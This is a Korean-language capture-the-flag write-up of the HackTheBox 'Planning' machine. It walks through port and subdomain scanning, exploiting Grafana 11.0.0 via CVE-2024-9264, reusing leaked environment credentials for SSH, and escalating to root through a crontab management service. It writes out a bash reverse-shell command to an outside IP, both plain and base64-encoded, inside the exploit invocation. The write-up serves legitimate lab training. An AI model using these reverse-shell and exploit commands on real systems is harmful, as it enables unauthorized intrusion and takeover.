Reconnaissance
Port Scanning
❯ nmap 10.10.11.68
Starting Nmap 7.97 ( https://nmap.org ) at 2025-07-10 12:15 +0900
Nmap scan report for 10.10.11.68
Host is up (0.21s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 96.43 seconds80포트가 열려있어서 접속해보면 planning.htb 링크로 접속이 되는데 정상적으로 접속이 안됩니다.
그래서 /etc/hosts 파일을 아래와 같이 수정하면 페이지가 로드됩니다.
/etc/hosts
##
# Host Database
#
# localhost is used to configure the loopback interface
# when the system is booting. Do not change this entry.
##
127.0.0.1 localhost
255.255.255.255 broadcasthost
10.10.11.68 planning.htb
# ::1 localhost
Subdomain Scanning
/etc/hosts 파일 수정 후 ffuf 툴을 사용하여 서브도메인 스캔을 진행했습니다.
❯ ffuf -w ~/wordlist/subdomains_n0kovo_big.txt -u http://planning.htb/ -H "Host:FUZZ.planning.htb" -fs 178
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://planning.htb/
:: Wordlist : FUZZ: /Users/mac/wordlist/subdomains_n0kovo_big.txt
:: Header : Host: FUZZ.planning.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 178
________________________________________________
grafana [Status: 302, Size: 29, Words: 2, Lines: 3, Duration: 218ms]grafana.planning.htb에 접속해보니 또 로드가 안되어서 10.10.11.68 grafana.planning.htb 문자열을 /etc/hosts 파일에 추가 후 접속했습니다.

Grafana v.11.0.0
Initial Access
RCE
해당 페이지 로그인 계정은 머신 설명에 적혀있습니다.

admin / 0D5oT70Fq13EvB5r
로그인을 하면 아래와 같은 페이지에 접속됩니다.

grafana 관련 CVE가 있는지 검색을 하다가 아래 github 레포지토리를 발견했습니다.

README 파일을 보면 v11.0.0이면 RCE도 가능하다고 해서 RCE로 리버스쉘을 획득했습니다.

GTFOBins 사이트에 있는 bash -c 'exec bash -i &>/dev/tcp/10.10.14.35/4444 <&1' 명령어를 사용했었는데 DuckDB에서 특수문자가 인코딩 과정 중 깨지는 오류가 발생해서 base64로 인코딩 해서 입력했습니다.
python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c "echo YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTAuMTAuMTQuMzUvNDQ0NCA8JjEnCg== | base64 -d | bash" http://grafana.planning.htb
접속 후 linpeas.sh 실행한 결과를 보던 중 환경 변수에서 수상해보이는 계정명 및 비밀번호를 발견했습니다.
ADMIN_USER = enzo
ADMIN_PASSWORD = RioTecRANDEntANT!

얻은 계정 정보로 서버에 ssh 접속을 시도했는데 정상적으로 로그인이 됐습니다.

user.txt

Privilege Escalation
Local Forwarding

로컬호스트에 여러 포트가 열려 있는걸 확인하고 8000 포트부터 로컬 포워딩을 이용하여 접근했더니 아래와 같이 로그인 창이 떴습니다.

그래서 관련 계정 정보가 로컬에 존재하는지 찾아보던 중 아래와 같이 DB 파일들이 있는걸 찾았습니다.

crontab.db 에 있는 계정 정보를 사용해 로그인하면 아래와 같은 사이트로 접속이 됩니다.

crontab 설정할 수 있는 서비스였어서 아래와 같이 리버스쉘 명령어를 설정하고 실행해서 root 권한을 획득했습니다.

